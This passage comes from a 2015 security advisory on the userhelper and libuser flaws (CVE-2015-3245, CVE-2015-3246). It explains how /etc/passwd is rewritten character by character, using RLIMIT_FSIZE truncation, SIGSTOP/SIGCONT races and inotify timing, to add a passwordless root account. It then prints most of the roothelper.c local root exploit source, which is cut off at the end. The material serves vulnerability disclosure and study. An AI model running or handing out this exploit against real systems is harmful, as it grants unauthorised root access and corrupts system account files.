the beginning of our user's line (and skip the\n unmodified lines that precede);\n\n- write() our user's new, modified line (and the rest of the unmodified\n lines that follow) to the file;\n\n- ftruncate() the file (if our user's new, modified line is shorter than\n the old one);\n\n- release the file's fcntl() write-lock;\n\n- close() the file.\n\nSurprisingly, we only need two things in our toolbox in order to exploit\nthis function and inject the a-line into /etc/passwd:\n\n- a pencil and eraser that allows us to repeatedly write() and\n re-write() our own GECOS field (its length and last character in\n particular) in /etc/passwd: the userhelper program itself;\n\n- a pair of scissors that allows us to interrupt write() with byte\n precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, \"The\n maximum size of files that the process may create. Attempts to extend\n a file beyond this limit result in delivery of a SIGXFSZ signal. By\n default, this signal terminates a process, but a process can catch\n this signal instead, in which case the relevant system call (e.g.,\n write(2), truncate(2)) fails with the error EFBIG.\"\n\nFor each character in the a-line (beginning with its last character and\nending with its first character), we fork() a new process and execve()\nuserhelper with:\n\n- a GECOS field that allows us to write() the character to its target\n offset in /etc/passwd;\n\n- an RLIMIT_FSIZE that allows us to terminate the process before it\n write()s or ftruncate()s the characters that follow.\n\nIn this example, the newline character '\\n' is represented by |, and the\nlast character written (before write() is interrupted by RLIMIT_FSIZE)\nis marked with ^:\n\n...|...|user:x:1000:1000::/home/user:/bin/bash|...|...|\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...|\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...|\n ^\n...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...|\n ^\n...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...|\n\n\n--[ Exploitation Details ]----------------------------------------------------\n\nIn this section, we discuss the problems we encountered while developing\nour userhelper exploit, and how we solved them.\n\n\n----[ Problem #1 (missing fields)\n\nAt the end of our \"Exploitation Overview\" example, our home-directory\nand shell-program fields seem to magically reappear in /etc/passwd,\nalthough they were previously cut out by RLIMIT_FSIZE.\n\nThis magic trick introduces Problem #1: we cannot simply fork() a new\nprocess for each character in the a-line, execve() userhelper, and let\nit run until the character is written to its target offset in\n/etc/passwd, because libuser refuses to modify our user's line if some\nof its fields are missing.\n\nIn order to solve this Problem #1, we fork() a new process for each\ncharacter in the a-line, execve() userhelper, and let it load our user's\noriginal, uncut line from /etc/passwd, but we SIGSTOP the process before\nit open()s /etc/passwd for writing. Only after we have started and\nstopped all userhelper processes can we safely SIGCONT them, one at a\ntime.\n\n\n----[ Problem #2 (backup file)\n\nBefore libuser open()s /etc/passwd for writing, it creates a backup file\nnamed /etc/passwd- and if this backup fails, libuser refuses to modify\n/etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup,\nwhich will fail if the RLIMIT_FSIZE is less than the size of\n/etc/passwd.\n\nThis introduces Problem #2: in apparent contradiction to what we just\nsaid, our exploit needs to decrease RLIMIT_FSIZE after each character it\ninjects into /etc/passwd (as shown in the \"Exploitation Overview\"\nexample).\n\nIn order to solve this Problem #2, we refine Problem #1's\nSIGSTOP/SIGCONT solution: we let each userhelper process load our user's\noriginal, uncut line from /etc/passwd, and SIGSTOP the process after it\ncreates the backup file but before it modifies /etc/passwd. In other\nwords, we have to win a race against generic_mod()'s system calls, which\ncreate the backup file and modify /etc/passwd:\n\n- open() the passwd file /etc/passwd for reading;\n- acquire the passwd file's fcntl() read-lock;\n\n- open() the backup file /etc/passwd- for writing;\n- acquire the backup file's fcntl() write-lock;\n\n- read() from the passwd file;\n- write() to the backup file;\n- ftruncate() the backup file;\n\n- release the backup file's fcntl() write-lock;\n- close() the backup file;\n\n- release the passwd file's fcntl() read-lock;\n- close() the passwd file;\n\n- open() /etc/passwd for reading and writing;\n[RACE WINDOW BEGINS]\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\n[RACE WINDOW ENDS]\n- acquire the file's fcntl() write-lock: success;\n- read() the file's contents;\n- etc.\n\nIn order to reliably win this race against all userhelper processes (one\nfor each character in the a-line), we:\n\n- widen the race window. We acquire a read-lock on /etc/passwd before we\n execve() userhelper, which prevents libuser from acquiring the\n write-lock on /etc/passwd, and forces it to sleep for a few\n microseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6).\n\n- pinpoint the race window. We monitor the filesystem for the following\n sequence of inotify events:\n\n . IN_CREATE on /etc if the backup file does not exist;\n . IN_CLOSE_WRITE on the backup file;\n . IN_CLOSE_NOWRITE on the passwd file;\n . IN_OPEN on the passwd file.\n\n- preempt the userhelper processes. We setpriority() them to the lowest\n priority, sched_setscheduler() them to SCHED_IDLE, and\n sched_setaffinity() them to the same CPU as our exploit.\n\n\n----[ Problem #3 (last user)\n\nIf our user's line is the last one in /etc/passwd, then the last\ncharacter we inject into the file (the '\\n' that ends our user's line\nand begins the a-line) is also the very last character of write()'s\nbuffer, which introduces Problem #3: this last write() will not exceed\nour RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line\nfrom the end of /etc/passwd.\n\nIn order to solve this Problem #3:\n\n- either we SIGKILL the last userhelper process after write() but before\n ftruncate(). We reliably win this race with an IN_MODIFY event on\n /etc/passwd and the \"same CPU, different priorities\" preemption of\n userhelper.\n\n- or we exploit Vulnerability #1 and inject a '\\n' into our own GECOS\n field. As far as libuser is concerned, this '\\n' ends our user's line\n and begins a new one (with our leftover home-directory and\n shell-program fields): our user's line is no longer the last one in\n /etc/passwd.\n\n\n----[ Problem #4 (maximum GECOS_LENGTH)\n\nAs shown in our \"Exploitation Overview\" example, we only have two\noptions for arbitrary character injection into /etc/passwd:\n\n- either we use a character that we artificially inject through our own\n GECOS field (not an option for characters like ':' and '\\n');\n\n- or we reuse a character that is naturally present in /etc/passwd (our\n only option for characters like ':' and '\\n').\n\nUnfortunately, both of these options might fail to inject a character\nafter the end of /etc/passwd (a consequence of Problem #2):\n\n- if our own GECOS field is too far away from the end of /etc/passwd\n (farther than userhelper's maximum GECOS_LENGTH, 127 characters);\n\n- if the character is not already one of the last GECOS_LENGTH\n characters in /etc/passwd.\n\nIf faced with both of these problems, we solve the first one (and\nProblem #4) by repeatedly deleting lines from the end of /etc/passwd,\nuntil our own user's line is the last one in the file: we enlarge our\nown GECOS field, delete characters from the end of /etc/passwd with our\nRLIMIT_FSIZE scissors, shrink our GECOS field again, repeat.\n\n\n----[ Problem #5 (time complexity)\n\nFor each character in the a-line, we usually have to choose one of\nseveral (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character\nto its target offset in /etc/passwd.\n\nThese pairs represent the nodes of a search tree that grows\nexponentially (with the number of characters in the a-line) but may\ncontain few or no solutions. In order to avoid this tree's worst-case\ntime complexity, we:\n\n- inject the shortest a-line possible, \"\\na::0:0::/:\\n\";\n\n- perform a recursive depth-first search on the tree, and return the\n first solution we find (instead of, for example, the solution that\n minimizes /etc/passwd's alterations);\n\n- replace the a-line's username with a wildcard, and accept any\n lowercase character that is not already a username (the a-line's\n username was a major problem, because it is the last character we\n inject, and therefore occurs deep down the tree's branches; the\n a-line's '0' characters are only a minor problem, because they occur\n in the middle of the tree's branches, whence we can backtrack\n quickly).\n\n\n----[ chfn\n\nutil-linux's chfn from Red Hat's codebase is linked with libuser, and\ncan be exploited by our public roothelper.c with just a few changes\n(left as an exercise for the interested reader):\n\n- userhelper uses a simple Userhelper/Consolehelper request/response\n protocol in order to prompt for and read the user's password, but chfn\n uses traditional terminal interaction;\n\n- if our user's line is the last one in /etc/passwd, we can exploit\n Vulnerability #1 against userhelper, but we have to win Problem #3's\n write/ftruncate race against chfn;\n\n- userhelper returns 0/255 on success/failure, but chfn returns 0/1.\n\n\n--[ Acknowledgments ]---------------------------------------------------------\n\nWe would like to thank Red Hat's Security Response Team and developers\nfor promptly addressing these issues.\n\n\n\n------ roothelper.c exploit ------\n/*\n * roothelper.c - an unusual local root exploit against:\n * CVE-2015-3245 userhelper chfn() newline filtering\n * CVE-2015-3246 libuser passwd file handling\n * Copyright (C) 2015 Qualys, Inc.\n *\n * gecos_* types and functions inspired by userhelper.c\n * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.\n *\n * UH_* #defines and comments inspired by userhelper.h\n * Copyright (C) 1997-2001, 2007 Red Hat, Inc.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#define _GNU_SOURCE\n#include <ctype.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <inttypes.h>\n#include <limits.h>\n#include <pwd.h>\n#include <sched.h>\n#include <signal.h>\n#include <stdarg.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/inotify.h>\n#include <sys/resource.h>\n#include <sys/socket.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <unistd.h>\n\n/* A maximum GECOS field length. There's no hard limit, so we guess. */\n#define GECOS_LENGTH 127\n\ntypedef char gecos_field[GECOS_LENGTH];\n\n/* A structure to hold broken-out GECOS data. The number and names of the\n * fields are dictated entirely by the flavor of finger we use. Seriously. */\nstruct gecos_data {\n gecos_field full_name; /* full user name */\n gecos_field office; /* office */\n gecos_field office_phone; /* office phone */\n gecos_field home_phone; /* home phone */\n gecos_field site_info; /* other stuff */\n};\n\nstatic struct userhelper {\n struct gecos_data gecos;\n rlim_t fsizelim;\n pid_t pid;\n int fd;\n} userhelpers[GECOS_LENGTH];\n\nstatic void\ndie_in_parent(const char *const file, const unsigned int line,\n const char *const function)\n{\n fprintf(stderr, \"died in parent: %s:%u: %s\\n\", file, line, function);\n fflush(stderr);\n\n unsigned int i;\n for (i = 0; i < GECOS_LENGTH; i++) {\n const pid_t pid = userhelpers[i].pid;\n if (pid <= 0) continue;\n kill(pid, SIGKILL);\n }\n _exit(EXIT_FAILURE);\n}\n\nstatic void\ndie_in_child(const char *const file, const unsigned int line,\n const char *const function)\n{\n fprintf(stderr, \"died in child: %s:%u: %s\\n\", file, line, function);\n exit(EXIT_FAILURE);\n}\n\nstatic void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;\n#define die() die_fn(__FILE__, __LINE__, __func__)\n\nstatic void *\nxmalloc(const size_t size)\n{\n if (size <= 0) die();\n if (size >= INT_MAX) die();\n void *const ptr = malloc(size);\n if (ptr == NULL) die();\n return ptr;\n}\n\nstatic void *\nxrealloc(void *const old, const size_t size)\n{\n if (size <= 0) die();\n if (size >= INT_MAX) die();\n void *const new = realloc(old, size);\n if (new == NULL) die();\n return new;\n}\n\nstatic char *\nxstrndup(const char *const old, const size_t len)\n{\n if (old == NULL) die();\n if (len >= INT_MAX) die();\n\n char *const new = strndup(old, len);\n\n if (new == NULL) die();\n if (len != strlen(new)) die();\n return new;\n}\n\nstatic int\nxsnprintf(char *const str, const size_t size, const char *const format, ...)\n{\n if (str == NULL) die();\n if (size <= 0) die();\n if (size >= INT_MAX) die();\n if (format == NULL) die();\n\n va_list ap;\n va_start(ap, format);\n const int len = vsnprintf(str, size, format, ap);\n va_end(ap);\n\n if (len < 0) die();\n if ((unsigned int)len >= size) die();\n if ((unsigned int)len != strlen(str)) die();\n return len;\n}\n\nstatic int\nxopen(const char *const pathname, const int flags)\n{\n if (pathname == NULL) die();\n if (*pathname != '/') die();\n if (flags != O_RDONLY) die();\n\n const int fd = open(pathname, flags);\n if (fd <= -1) die();\n\n static const struct flock rdlock = {\n .l_type = F_RDLCK,\n .l_whence = SEEK_SET,\n .l_start = 0,\n .l_len = 0\n };\n if (fcntl(fd, F_SETLK, &rdlock) != 0) die();\n return fd;\n}\n\nstatic void\nxclose(const int fd)\n{\n if (fd <= -1) die();\n static const struct flock unlock = {\n .l_type = F_UNLCK,\n .l_whence = SEEK_SET,\n .l_start = 0,\n .l_len = 0\n };\n if (fcntl(fd, F_SETLK, &unlock) != 0) die();\n if (close(fd) != 0) die();\n}\n\n#define GECOS_BADCHARS \":,=\\n\"\n\n/* A simple function to compute the size of a gecos string containing the\n * data we have. */\nstatic size_t\ngecos_size(const struct gecos_data *const parsed)\n{\n if (parsed == NULL) die();\n\n size_t len = 4; /* commas! */\n len += strlen(parsed->full_name);\n len += strlen(parsed->office);\n len += strlen(parsed->office_phone);\n len += strlen(parsed->home_phone);\n len += strlen(parsed->site_info);\n len++;\n return len;\n}\n\n/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.\n Note that the parsing is performed using the convention obeyed by BSDish\n finger(1) under Linux. */\nstatic void\ngecos_parse(const char *const gecos, struct gecos_data *const parsed)\n{\n if (gecos == NULL) die();\n if (strlen(gecos) >= INT_MAX) die();\n\n if (parsed == NULL) die();\n memset(parsed, 0, sizeof(*parsed));\n\n unsigned int i;\n const char *field = gecos;\n\n for (i = 0; ; i++) {\n const char *field_end = strchrnul(field, ',');\n gecos_field *dest = NULL;\n\n switch (i) {\n case 0:\n dest = &parsed->full_name;\n break;\n case 1:\n dest = &parsed->office;\n break;\n case 2:\n dest = &parsed->office_phone;\n break;\n case 3:\n dest = &parsed->home_phone;\n break;\n case 4:\n field_end = rawmemchr(field_end, '\\0');\n dest = &parsed->site_info;\n break;\n default:\n die();\n }\n const size_t field_len = field_end - field;\n xsnprintf(*dest, sizeof(*dest), \"%.*s\", (int)field_len, field);\n if (strlen(*dest) != field_len) die();\n\n if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();\n\n if (*field_end == '\\0') break;\n field = field_end + 1;\n }\n if (gecos_size(parsed) > GECOS_LENGTH) die();\n}\n\n/* Assemble a new gecos string. */\nstatic const char *\ngecos_assemble(const struct gecos_data *const parsed)\n{\n static char ret[GECOS_LENGTH];\n size_t i;\n\n if (parsed == NULL) die();\n /* Construct the basic version of the string. */\n xsnprintf(ret, sizeof(ret), \"%s,%s,%s,%s,%s\",\n parsed->full_name,\n parsed->office,\n parsed->office_phone,\n parsed->home_phone,\n parsed->site_info);\n /* Strip off terminal commas. */\n i = strlen(ret);\n while ((i > 0) && (ret[i - 1] == ',')) {\n ret[i - 1] = '\\0';\n i--;\n }\n return ret;\n}\n\n/* Descriptors used to communicate between userhelper and consolhelper. */\n#define UH_INFILENO 3\n#define UH_OUTFILENO 4\n\n/* Userhelper request format:\n request code as a single character,\n request data size as UH_REQUEST_SIZE_DIGITS decimal digits\n request data\n '\\n' */\n#define UH_REQUEST_SIZE_DIGITS 8\n\n/* Synchronization point code. */\n#define UH_SYNC_POINT 32\n\n/* Valid userhelper request codes. */\n#define UH_ECHO_ON_PROMPT 34\n#define UH_ECHO_OFF_PROMPT 35\n#define UH_EXPECT_RESP 39\n#define UH_SERVICE_NAME 40\n#define UH_USER 42\n\n/* Consolehelper response format:\n response code as a single character,\n response data\n '\\n' */\n\n/* Consolehelper response codes. */\n#define UH_TEXT 33\n\n/* Valid userhelper error codes. */\n#define ERR_UNK_ERROR 255 /* unknown error */\n\n/* Paths, flag names, and other stuff. */\n#define UH_PATH \"/usr/sbin/userhelper\"\n#define UH_FULLNAME_OPT \"-f\"\n#define UH_OFFICE_OPT \"-o\"\n#define UH_OFFICEPHONE_OPT \"-p\"\n#define UH_HOMEPHONE_OPT \"-h\"\n\nstatic char\nread_request(const int fd, char *const data, const size_t size)\n{\n if (fd <= -1) die();\n if (data == NULL) die();\n if (size >= INT_MAX) die();\n\n char header[1 + UH_REQUEST_SIZE_DIGITS + 1];\n if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();\n header[sizeof(header)-1] = '\\0';\n\n errno = 0;\n char *endptr = NULL;\n const unsigned long len = strtoul(&header[1], &endptr, 10);\n if (errno != 0 || endptr != &header[sizeof(header)-1]) die();\n\n if (len >= size) die();\n if (read(fd, data, len+1) != (ssize_t)(len+1)) die();\n if (data[len] != '\\n') die();\n data[len] = '\\0';\n\n if (strlen(data) != len) die();\n if (strchr(data, '\\n') != NULL) die();\n return header[0];\n}\n\nstatic void\nsend_reply(const int fd, const unsigned char type, const char *const data)\n{\n if (fd <= -1) die();\n if (!isascii(type)) die();\n if (!isprint(type)) die();\n if (data == NULL) die();\n if (strpbrk(data, \"\\r\\n\") != NULL) die();\n\n char buf[BUFSIZ];\n const int len = xsnprintf(buf, sizeof(buf), \"%c%s\\n\", (int)type, data);\n if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();\n}\n\n#define ETCDIR \"/etc\"\n#define PASSWD \"/etc/passwd\"\n#define BACKUP \"/etc/passwd-\"\n\nstatic struct {\n char username[64];\n char password[64];\n struct gecos_data gecos;\n} my;\n\nstatic volatile sig_atomic_t is_child_dead;\n\nstatic void\nsigchild_handler(const int signum __attribute__ ((__unused__)))\n{\n is_child_dead = true;\n}\n\nstatic int\nwait_for_userhelper(struct userhelper *const uh, const int options)\n{\n if (uh == NULL) die();\n if (uh->pid <= 0) die();\n if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();\n\n int status;\n for (;;) {\n const pid_t pid = waitpid(uh->pid, &status, options);\n if (pid == uh->pid) break;\n if (pid > 0) _exit(255);\n\n if (pid != -1) die();\n if (errno != EINTR) die();\n }\n if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;\n return status;\n}\n\nstatic void\nforkstop_userhelper(struct userhelper *const uh)\n{\n if (uh == NULL) die();\n if (uh->pid != 0) die();\n if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();\n\n struct rlimit fsize;\n if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();\n if (uh->fsizelim > fsize.rlim_max) die();\n if (uh->fsizelim <= 0) die();\n fsize.rlim_cur = uh->fsizelim;\n\n cpu_set_t old_cpus;\n CPU_ZERO(&old_cpus);\n if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();\n\n { const int cpu = sched_getcpu();\n if (cpu >= CPU_SETSIZE) die();\n if (cpu < 0) die();\n cpu_set_t new_cpus;\n CPU_ZERO(&new_cpus);\n CPU_SET(cpu, &new_cpus);\n if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }\n\n int sv[2];\n if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();\n\n if (is_child_dead) die();\n static const struct sigaction sigchild_action = {\n .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };\n if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();\n\n uh->pid = fork();\n if (uh->pid <= -1) die();\n\n if (uh->pid == 0) {\n die_fn = die_in_child;\n if (close(sv[1]) != 0) die();\n if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();\n if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();\n\n const int devnull_fd = open(\"/dev/null\", O_RDWR);\n if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();\n if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();\n if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();\n\n if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();\n if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();\n if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();\n\n if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();\n static const struct sched_param sched_param = { .sched_priority = 0 };\n (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);\n\n char *const argv[] = { UH_PATH,\n UH_FULLNAME_OPT, uh->gecos.full_name,\n UH_OFFICE_OPT, uh->gecos.office,\n UH_OFFICEPHONE_OPT, uh->gecos.office_phone,\n UH_HOMEPHONE_OPT, uh->gecos.home_phone,\n NULL };\n char *const envp[] = { NULL };\n execve(UH_PATH, argv, envp);\n die();\n }\n if (die_fn != die_in_parent) die();\n if (close(sv[0]) != 0) die();\n uh->fd = sv[1];\n\n unsigned long expected_responses = 0;\n for (;;) {\n char data[BUFSIZ];\n const char type = read_request(uh->fd, data, sizeof(data));\n if (type == UH_SYNC_POINT) break;\n\n switch (type) {\n case UH_USER:\n if (strcmp(data, my.username) != 0) die();\n break;\n case UH_SERVICE_NAME:\n if (strcmp(data, \"chfn\") != 0) die();\n break;\n case UH_ECHO_ON_PROMPT:\n case UH_ECHO_OFF_PROMPT:\n if (++expected_responses == 0) die();\n break;\n case UH_EXPECT_RESP:\n if (strtoul(data, NULL, 10) != expected_responses) die();\n break;\n default:\n break;\n }\n }\n if (expected_responses != 1) die();\n\n const int lpasswd_fd = xopen(PASSWD, O_RDONLY);\n const int inotify_fd = inotify_init();\n if (inotify_fd <= -1) die();\n if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |\n IN_OPEN) <= -1) die();\n if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {\n if (errno != ENOENT) die();\n if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();\n }\n\n send_reply(uh->fd, UH_TEXT, my.password);\n send_reply(uh->fd, UH_SYNC_POINT, \"\");\n if (close(uh->fd) != 0) die();\n uh->fd = -1;\n\n unsigned int state = 0;\n static const uint32_t transition[] = { IN_CLOSE_WRITE,\n IN_CLOSE_NOWRITE, IN_OPEN, 0 };\n for (;;) {\n if (is_child_dead) die();\n char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];\n const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));\n if (is_child_dead) die();\n\n if (_buflen <= 0) die();\n size_t buflen = _buflen;\n if (buflen > sizeof(buffer)) die();\n\n struct inotify_event *ep;\n for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);\n ep = (struct inotify_event *)(ep->name + ep->len)) {\n buflen -= sizeof(*ep);\n\n if (ep->len > 0) {\n if (buflen < ep->len) die();\n buflen -= ep->len;\n if ((ep->mask & IN_CREATE) == 0) die();\n (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);\n continue;\n }\n if (ep->len != 0) die();\n while ((ep->mask & transition[state]) != 0) {\n ep->mask &= ~transition[state++];\n if (transition[state] == 0) goto stop_userhelper;\n }\n }\n if (buflen != 0) die();\n }\n stop_userhelper:\n if (kill(uh->pid, SIGSTOP) != 0) die();\n if (close(inotify_fd) != 0) die();\n\n const int status = wait_for_userhelper(uh, WUNTRACED);\n if (!WIFSTOPPED(status)) die();\n if (WSTOPSIG(status) != SIGSTOP) die();\n\n xclose(lpasswd_fd);\n if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();\n if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();\n}\n\nstatic void\ncontinue_userhelper(struct userhelper *const uh)\n{\n if (uh == NULL) die();\n if (uh->fd != -1) die();\n if (uh->pid <= 0) die();\n\n if (kill(uh->pid, SIGCONT) != 0) die();\n\n { const int status = wait_for_userhelper(uh, WCONTINUED);\n if (!WIFCONTINUED(status)) die(); }\n\n { const int status = wait_for_userhelper(uh, 0);\n if (!WIFEXITED(status)) die();\n if (WEXITSTATUS(status) !=\n ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }\n\n memset(uh, 0, sizeof(*uh));\n}\n\nstatic void\ncreate_backup_of_passwd_file(void)\n{\n char backup[] = \"/tmp/passwd-XXXXXX\";\n const mode_t prev_umask = umask(077);\n const int ofd = mkstemp(backup);\n (void) umask(prev_umask);\n if (ofd <= -1) die();\n\n printf(\"Creating a backup copy of \\\"%s\\\" named \\\"%s\\\"\\n\", PASSWD, backup);\n const int ifd = xopen(PASSWD, O_RDONLY);\n for (;;) {\n char buf[BUFSIZ];\n const ssize_t len = read(ifd, buf, sizeof(buf));\n if (len == 0) break;\n if (len <= 0) die();\n if (write(ofd, buf, len) != len) die();\n }\n xclose(ifd);\n if (close(ofd) != 0) die();\n}\n\nstatic void\ndelete_lines_from_passwd_file(void)\n{\n struct gecos_data gecos;\n memset(&gecos, 0, sizeof(gecos));\n xsnprintf(gecos.site_info, sizeof(gecos.site_info),\n \"%s\", my.gecos.site_info);\n const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);\n if (fullname_max >= GECOS_LENGTH) die();\n if (fullname_max <= 0) die();\n\n char fragment[64];\n xsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username);\n\n char *contents = NULL;\n for (;;) {\n struct stat st;\n const int fd = xopen(PASSWD, O_RDONLY);\n if (fstat(fd, &st) != 0) die();\n if (st.st_size >= INT_MAX) die();\n if (st.st_size <= 0) die();\n\n contents = xrealloc(contents, st.st_size + 1);\n if (read(fd, contents, st.st_size) != st.st_size) die();\n contents[st.st_size] = '\\0';\n xclose(fd);\n\n const char *cp = strstr(contents, fragment);\n if (cp == NULL) die();\n cp = strchr(cp + 2, '\\n');\n if (cp == NULL) die();\n if (cp[1] == '\\0') break;\n\n char *const tp = contents + st.st_size-1;\n *tp = '\\0';\n if (tp <= cp) die();\n if (tp - cp > fullname_max) cp = tp - fullname_max;\n cp = strpbrk(cp, \"\\n:, \");\n if (cp == NULL) die();\n\n const ssize_t fullname_len = tp - cp;\n if (fullname_len >= GECOS_LENGTH) die();\n if (fullname_len <= 0) die();\n\n printf(\"Deleting %zd bytes from \\\"%s\\\"\\n\", fullname_len, PASSWD);\n\n struct userhelper *const uh = &userhelpers[0];\n memset(uh->gecos.full_name, 'A', fullname_len);\n uh->fsizelim = st.st_size;\n forkstop_userhelper(uh);\n continue_userhelper(uh);\n\n uh->fsizelim = RLIM_INFINITY;\n forkstop_userhelper(uh);\n continue_userhelper(uh);\n }\n free(contents);\n}\n\nstatic size_t passwd_fsize;\nstatic int generate_userhelpers(const char *);\n#define IS_USER_LAST \"last user in passwd file?\"\n\nstatic char candidate_users[256];\nstatic char superuser_elect;\n\nint\nmain(void)\n{\n create_backup_of_passwd_file();\n\n { char candidate[] = \"a\";\n for (; candidate[0] <= 'z'; candidate[0]++) {\n if (getpwnam(candidate) != NULL) continue;\n strcat(candidate_users, candidate);\n } }\n if (candidate_users[0] == '\\0') die();\n\n const struct passwd *const pwd = getpwuid(getuid());\n if ((pwd == NULL) || (pwd->pw_name == NULL)) die();\n xsnprintf(my.username, sizeof(my.username), \"%s\", pwd->pw_name);\n gecos_parse(pwd->pw_gecos, &my.gecos);\n\n if (fputs(\"Please enter your password:\\n\", stdout) == EOF) die();\n if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();\n char *const newline = strchr(my.password, '\\n');\n if (newline == NULL) die();\n *newline = '\\0';\n\n { struct userhelper *const uh = &userhelpers[0];\n uh->fsizelim = RLIM_INFINITY;\n forkstop_userhelper(uh);\n continue_userhelper(uh); }\n\n retry:\n if (generate_userhelpers(IS_USER_LAST)) {\n struct userhelper *const uh1 = &userhelpers[1];\n strcpy(uh1->gecos.full_name, \"\\n\");\n uh1->fsizelim = passwd_fsize + 1;\n\n struct userhelper *const uh0 = &userhelpers[0];\n uh0->fsizelim = passwd_fsize;\n\n forkstop_userhelper(uh1), forkstop_userhelper(uh0);\n continue_userhelper(uh1), continue_userhelper(uh0);\n if (generate_userhelpers(IS_USER_LAST)) die();\n }\n\n static const char a[] = \"?::0:0::/:\";\n printf(\"Attempting to add \\\"%s\\\" to \\\"%s\\\"\\n\", a, PASSWD);\n\n const int n = generate_userhelpers(a);\n if (n == -1) {\n static int retries;\n if (retries++) die();\n memset(userhelpers, 0, sizeof(userhelpers));\n delete_lines_from_passwd_file();\n goto retry;\n }\n if (n <= 0) die();\n if (n >= GECOS_LENGTH) die();\n if (superuser_elect == '\\0') die();\n\n int i;\n for (i = n; --i >= 0; ) {\n printf(\"Starting and stopping userhelper #%d\\n\", i);\n forkstop_userhelper(&userhelpers[i]);\n }\n for (i = n; --i >= 0; ) {\n printf(\"Continuing stopped userhelper #%d\\n\", i);\n continue_userhelper(&userhelpers[i]);\n }\n printf(\"Exploit successful, run \\\"su %c\\\" to become root\\n\",\n (int)superuser_elect);\n\n { struct userhelper *const uh = &userhelpers[0];\n uh->fsizelim = RLIM_INFINITY;\n uh->gecos = my.gecos;\n forkstop_userhelper(uh);\n continue_userhelper(uh); }\n\n exit(EXIT_SUCCESS);\n}\n\nstatic 